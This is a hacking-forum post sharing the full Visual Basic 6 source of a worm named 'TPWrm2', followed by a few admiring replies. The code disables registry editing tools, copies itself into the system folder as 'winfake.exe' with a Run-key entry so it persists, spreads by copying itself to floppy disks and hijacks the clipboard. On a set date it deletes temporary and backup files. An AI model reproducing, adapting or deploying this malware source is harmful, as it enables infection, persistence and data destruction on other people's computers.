Hack Forums

this one is not mind i found it and needed to share . i cant share mine as yet for some reason i dont wish to share.

Option Explicit


Private Sub Form_Load()

On Error Resume Next

If App.PrevInstance = True Then End

Call RegDisable

Call InfectSystem

If App.Path = "A:\" Or App.Path = "B:\" Then

Unload Me

End If

End Sub


Private Sub tmrLieke_Timer()

On Error Resume Next
Clipboard.Clear

Clipboard.SetText " Love Lieke So Much... "

End Sub

Private Sub tmrTPWrm2_Timer()

On Error Resume Next

Call InfectFloppy

If Day(Now) = 13 And Month(Now) = 10 Then

Call PayLoad

Unload Me

End If

End Sub



Function RegString(HiveAndKey As String, Value As String)

Dim newbie As Variant

Set newbie = CreateObject("Wscript.Shell")

newbie.regwrite HiveAndKey, Value

End Function


Function RegDword(HiveAndKey As String, Value As Integer)

Dim newbie As Variant

Set newbie = CreateObject("Wscript.Shell")

newbie.regwrite HiveAndKey, Value, "REG_DWORD"

End Function


Private Sub RegDisable()

On Error Resume Next

RegDword "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _

"System\DisableRegistryTools", 1

End Sub


Private Sub InfectSystem()

On Error Resume Next

Dim kiddie As Variant

Dim sysfolder As Object

Set kiddie = CreateObject("scripting.filesystemobject")

Set sysfolder = kiddie.GetSpecialFolder(1)

FileCopy WormFile, sysfolder & "\" & "winfake.exe"

RegString "HKLM\Software\Microsoft\Windows\CurrentVersio" & _

"n\Run\windll", sysfolder & "\" & "winfake.exe"

End Sub


Private Sub InfectFloppy()

On Error Resume Next

If Len(Dir$("A:\lieke.exe")) = 0 Then

FileCopy WormFile, "A:\lieke.exe"

End If

End Sub


Private Sub PayLoad()

On Error Resume Next

Dim kiddie As Variant

Dim winfolder, sysfolder, tmpfolder As Object

Set kiddie = CreateObject("scripting.filesystemobject")

Set winfolder = kiddie.GetSpecialFolder(0)

Set sysfolder = kiddie.GetSpecialFolder(1)

Set tmpfolder = kiddie.GetSpecialFolder(2)

Kill winfolder & "\" & "*.tmp"

Kill sysfolder & "\" & "*.bak"

Kill tmpfolder & "\" & "*.*"

MsgBox "TPWrm2 is in your computer..!"

End Sub



Private Function WormFile()

Dim WPath, WName As String

WPath = App.Path

If Right(WPath, 1) <> "\" Then

WPath = WPath & "\"

End If

WName = App.EXEName & ".exe"

WormFile = WPath & WName

End Function

Nice virus there.

But it doesn't infect files. Not that i can see unless i'm being totally stupid.

not bad at all but where did u get it?